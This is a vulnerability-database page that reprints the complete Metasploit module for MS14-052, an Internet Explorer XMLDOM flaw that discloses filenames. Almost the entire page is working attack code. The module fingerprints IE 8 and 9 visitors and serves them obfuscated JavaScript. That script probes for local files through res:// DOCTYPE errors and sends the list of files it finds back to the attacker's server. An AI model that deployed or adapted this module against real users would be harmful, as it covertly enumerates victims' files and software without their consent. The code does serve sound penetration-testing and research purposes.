Lucene search
K

MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure

🗓️ 30 Mar 2015 15:39:33Reported by Soroush Dalili, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 47 Views

MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure. This module enumerates a remote machine's filenames using the Microsoft XMLDOM object against Internet Explorer 8 and 9

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::JSObfu

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure",
      'Description'    => %q{
        This module will use the Microsoft XMLDOM object to enumerate a remote machine's filenames.
        It will try to do so against Internet Explorer 8 and Internet Explorer 9. To use it, you
        must supply your own list of file paths. Each file path should look like this:
        c:\\\\windows\\\\system32\\\\calc.exe
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Soroush Dalili', # @irsdl - Original discovery. MSF module is from his PoC
          'sinn3r'
        ],
      'References'     =>
        [
          [ 'CVE', '2013-7331'],
          [ 'MSB', 'MS14-052' ],
          [ 'URL', 'https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/' ],
          [ 'URL', 'http://web.archive.org/web/20240814143555/https://cybersecurity.att.com/blogs/labs-research/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ]
        ],
      'Platform'       => 'win',
      'DisclosureDate' => '2014-09-09', # MSB. Used in the wild since Feb 2014
      ))

    register_options(
      [
        OptPath.new('FILES', [ true, 'A list of files to enumerate. One absolute file path per line.' ])
      ], self.class
    )
  end

  def js
    target_files = parse_target_files
    js_target_files = target_files * ','

    %Q|
    #{js_ajax_post}

    var RESULTS = {
      UNKNOWN : {value: 0, message: "Unknown!", color: "black", data: ""},
      BADBROWSER: {value: 1, message: "Browser is not supported. You need IE!", color: "black", data: ""},
      FILEFOUND : {value: 2, message: "File was found!", color: "green", data: ""},
      FOLDERFOUND : {value: 3, message: "Folder was found!", color: "green", data: ""},
      NOTFOUND : {value: 4, message: "Object was not found!", color: "red", data: ""},
      ALIVE : {value: 5, message: "Alive address!", color: "green", data: ""},
      MAYBEALIVE : {value: 6, message: "Maybe an alive address!", color: "blue", data: ""},
      DEAD : {value: 7, message: "Dead to me! Undetectable?", color: "red", data: ""},
      VALIDDRIVE : {value: 8, message: "Available Drive!", color: "green", data: ""},
      INVALIDDRIVE : {value: 9, message: "Unavailable Drive!", color: "red", data: ""}
    };


    function validateXML(txt) {
      var result = RESULTS.UNKNOWN;

      if (window.ActiveXObject) {
        var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
        xmlDoc.async = true;
        try {
          xmlDoc.loadXML(txt);
          if (xmlDoc.parseError.errorCode != 0) {
            var err;
            err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
            err += "Error Reason: " + xmlDoc.parseError.reason;
            err += "Error Line: " + xmlDoc.parseError.line;

            var errReason = xmlDoc.parseError.reason.toLowerCase();
            if (errReason.search('access is denied') >= 0)  {
              result = RESULTS.ALIVE;
            } else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {
              result = RESULTS.NOTFOUND;
            } else if(errReason!=''){
              result = RESULTS.FILEFOUND;
            } else{
              result = RESULTS.UNKNOWN; // No Error? Unknown!
            };
          } else {
            result = RESULTS.FILEFOUND;
          }
        } catch (e) {
          result = RESULTS.FOLDERFOUND;
        }
      } else {
        result = RESULTS.BADBROWSER;
      }
      result.data = "";

      return result;
    };


    function checkFiles(files) {
      var foundFiles = new Array();
      // the first one is for all drives, the others are for the C drive only!
      var preMagics = ["res://","\\\\\\\\localhost\\\\", "file:\\\\\\\\localhost\\\\", "file:\\\\"];
      // or any other irrelevant ADS! - we do not need this when we use Res://
      var postMagics = ["::$index_allocation"];

      var templateString = '<?xml version="1.0" ?><\!DOCTYPE anything SYSTEM "$target$">';

      for (var i = 0; i < files.length; i++) {
        var filename = files[i];
        if (filename != '') {
          filename = preMagics[0] + filename; // postMagics can be used too!
          var result = validateXML(templateString.replace("$target$", filename));
          if (result == RESULTS.FOLDERFOUND \|\| result == RESULTS.ALIVE) result = RESULTS.UNKNOWN;
          result.data = filename;
          if (result.message.search(/file was found/i) > -1) {
            var trimmedFilename = result.data;
            for (var prem in preMagics)   { trimmedFilename = trimmedFilename.replace(preMagics[prem], ''); }
            for (var postm in postMagics) { trimmedFilename = trimmedFilename.replace(postMagics[postm], ''); }
            foundFiles.push(trimmedFilename);
          }
        }
      }
      return foundFiles;
    };

    var foundFileString = "";

    window.onload = function() {
      var files = [#{js_target_files}];
      var foundFiles = checkFiles(files);
      for (var file in foundFiles) {
        foundFileString += foundFiles[file] + "\|";
      }
      postInfo("#{get_resource}/receiver/", foundFileString, true);
    };
    |
  end

  def html
    new_js = js_obfuscate(js)
    %Q|
    <html>
    <head>
    </head>
    <body>
    <script>
    #{new_js}
    </script>
    </body>
    </html>
    |
  end

  def run
    exploit
  end

  def parse_found_files(cli, req)
    return if req.body.blank?

    files = req.body.split('|')
    unless files.empty?
      print_good("We have detected the following files:")
      files.each do |f|
        report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
        print_good(f)
      end
    end
  end

  def parse_target_files
    @files ||= lambda {
      files = []
      buf = ::File.open(datastore['FILES'], 'rb') { |f| buf = f.read }
      buf.each_line do |line|
        if line =~ /^[a-z]:\\\\.+/i
          files << "'#{line.strip}'"
        end
      end

      return files
    }.call
  end

  def is_target_suitable?(user_agent)
    info = fingerprint_user_agent(user_agent)
    if info[:ua_name] == HttpClients::IE && (info[:ua_ver] == '8.0' || info[:ua_ver] == '9.0')
      return true
    end

    false
  end

  def on_request_uri(cli, req)
    unless is_target_suitable?(req.headers['User-Agent'])
      send_not_found(cli)
      return
    end

    case req.uri
    when /receiver/
      parse_found_files(cli, req)
    else
      print_status("Sending HTML.")
      send_response(cli, html)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation